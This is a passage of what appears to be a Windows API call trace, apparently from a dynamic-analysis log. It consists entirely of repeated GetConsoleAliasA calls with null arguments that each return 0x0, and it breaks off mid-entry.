Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0184.654] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0184.654] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0184.654] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0184.654] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0184.654] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0184.654] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0184.654] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0184.654] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0184.654] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0184.654] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0184.654] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0184.654] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0184.654] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0184.654] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0184.654] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0184.654] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0184.654] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0184.654] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0184.654] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0184.654] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0184.654] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0184.654] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0184.654] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0184.654] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0184.654] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0184.654] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0184.654] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0184.654] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0184.654] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0184.654] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0184.654] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0184.654] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0184.654] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0184.655] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0184.655] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0184.655] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0184.655] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0184.655] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0184.655] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0184.655] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0184.655] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0184.655] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0184.655] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0184.655] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0184.655] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0184.655] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0184.655] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0184.655] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0184.655] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0184.655] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0184.655] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0184.655] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0184.655] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0184.655] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0184.655] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0184.655] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0184.655] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0184.655] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0184.655] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0184.655] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.382] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.382] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.382] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.382] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.382] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.382] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.382] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.382] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.382] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.382] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.382] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.382] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.382] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.382] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.382] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.382] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.382] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.382] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.382] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.382] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.382] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.382] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.382] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.383] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.383] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.383] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.383] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.383] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.383] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.383] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.383] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.383] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.383] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.383] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.383] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.383] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.383] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.383] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.383] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.383] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.383] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.383] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.383] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.383] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.383] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.383] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.383] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.383] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.383] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.383] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.383] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.383] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.383] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.383] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.383] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.383] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.384] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.384] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.384] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.384] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.384] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.384] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.384] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.384] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.384] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.384] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.384] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.384] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.384] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.384] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.384] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.384] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.384] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.384] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.384] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.384] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.384] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.384] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.384] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.384] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.384] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.384] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.384] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.384] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.384] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.384] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.385] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.385] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.385] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.385] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.385] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.385] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.385] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.385] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.385] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.385] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.385] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.385] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.385] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.385] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.385] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.385] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.385] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.385] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.385] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.385] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.385] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.385] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.385] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.385] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.385] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.385] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.386] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.386] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.386] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.386] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.386] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.386] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.386] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.386] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.386] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.386] GetConsoleAliasA (in: Source=0x0, TargetBuffer=0x0, TargetBufferLength=0x0, ExeName=0x0 | out: TargetBuffer=0x0) returned 0x0 [0189.386] 